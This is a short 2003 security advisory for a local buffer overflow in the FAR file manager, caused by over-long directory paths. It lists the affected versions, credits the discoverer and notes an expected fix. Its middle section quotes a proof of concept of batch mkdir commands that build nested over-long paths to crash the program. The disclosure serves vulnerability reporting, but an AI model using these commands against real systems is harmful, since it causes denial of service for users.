RARLAB FAR File Manager Buffer Overflow Vulnerability

Bugtraq ID:	6822
Class:	Boundary Condition Error
CVE:
Remote:	No
Local:	Yes
Published:	Feb 11 2003 12:00AM
Updated:	Feb 11 2003 12:00AM
Credit:	Discovery of this vulnerability credited to 3APA3A <[email protected]>.
Vulnerable:	RARLAB FAR 1.70 beta 4 RARLAB FAR 1.70 beta 1 RARLAB FAR 1.65
Not Vulnerable:

RARLAB FAR File Manager Buffer Overflow Vulnerability

A buffer overflow vulnerability has been reported for FAR that may result in a denial of service condition. The vulnerability exists due to insufficient bounds checking performed by FAR when parsing directory paths. Specifically, when FAR attempts to parse overly long paths it will crash thereby resulting in a denial of service condition.

RARLAB FAR File Manager Buffer Overflow Vulnerability

The following proof of concept was provided:

SET A=A<260 chars>A
SET B=BBBBBBBBBBBBBBBB
mkdir \\?\c:\%A%
mkdir \\?\c:\%A%\%A%
mkdir \\?\c:\%A%\%B%\

RARLAB FAR File Manager Buffer Overflow Vulnerability

Solution:
It has been reported that fixes for this issue will be included in FAR file manager 1.70 beta 5.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

RARLAB FAR File Manager Buffer Overflow Vulnerability

References:

• FAR File Manager (RarLab)
  
• SECURITY.NNOV: Far buffer overflow (3APA3A <[email protected]>)